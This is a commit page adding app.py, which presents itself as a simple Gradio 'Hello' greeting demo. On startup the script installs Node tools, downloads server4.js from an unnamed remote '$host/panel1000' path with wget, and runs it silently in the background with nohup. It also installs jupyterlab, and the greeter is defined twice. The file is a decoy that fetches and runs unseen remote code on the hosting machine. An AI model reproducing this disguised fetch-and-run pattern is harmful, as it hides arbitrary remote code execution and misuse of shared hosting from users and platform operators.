feed19001 commited on
Commit
1182df2
·
verified ·
1 Parent(s): 7f2e397

Create app.py

Browse files
Files changed (1) hide show
  1. app.py +37 -0
app.py ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
+ import subprocess
3
+ import sys
4
+ import os
5
+ import signal
6
+ subprocess.run('apt-get install nodejs -y', shell=True)
7
+ subprocess.run('apt-get install npm -y', shell=True)
8
+ subprocess.run('apt-get install htop -y', shell=True)
9
+ subprocess.run('apt-get install nano -y', shell=True)
10
+ subprocess.run('apt-get install ffmpeg -y', shell=True)
11
+
12
+
13
+
14
+
15
+ subprocess.run('wget -O /home/user/app/server4.js http://$host/panel1000/server4.js ', shell=True)
16
+
17
+ subprocess.run('npm install express', shell=True)
18
+ subprocess.run('npm install cors', shell=True)
19
+ subprocess.run('npm install fluent-ffmpeg', shell=True)
20
+ subprocess.run('npm install node-fetch', shell=True)
21
+ subprocess.run('npm install multer', shell=True)
22
+ subprocess.run('npm install body-parser', shell=True)
23
+
24
+
25
+ subprocess.run('cd /home/user/app', shell=True)
26
+ subprocess.run('nohup node /home/user/app/server4.js> nodenodenode.out 2>&1 &', shell=True)
27
+
28
+ def greet(name):
29
+ return "Hello " + name + "!!"
30
+
31
+ demo = gr.Interface(fn=greet, inputs="text", outputs="text")
32
+ subprocess.run('pip install jupyterlab', shell=True)
33
+ def greet(name):
34
+ return "Hello " + name + "!!"
35
+
36
+ demo = gr.Interface(fn=greet, inputs="text", outputs="text")
37
+ demo.launch()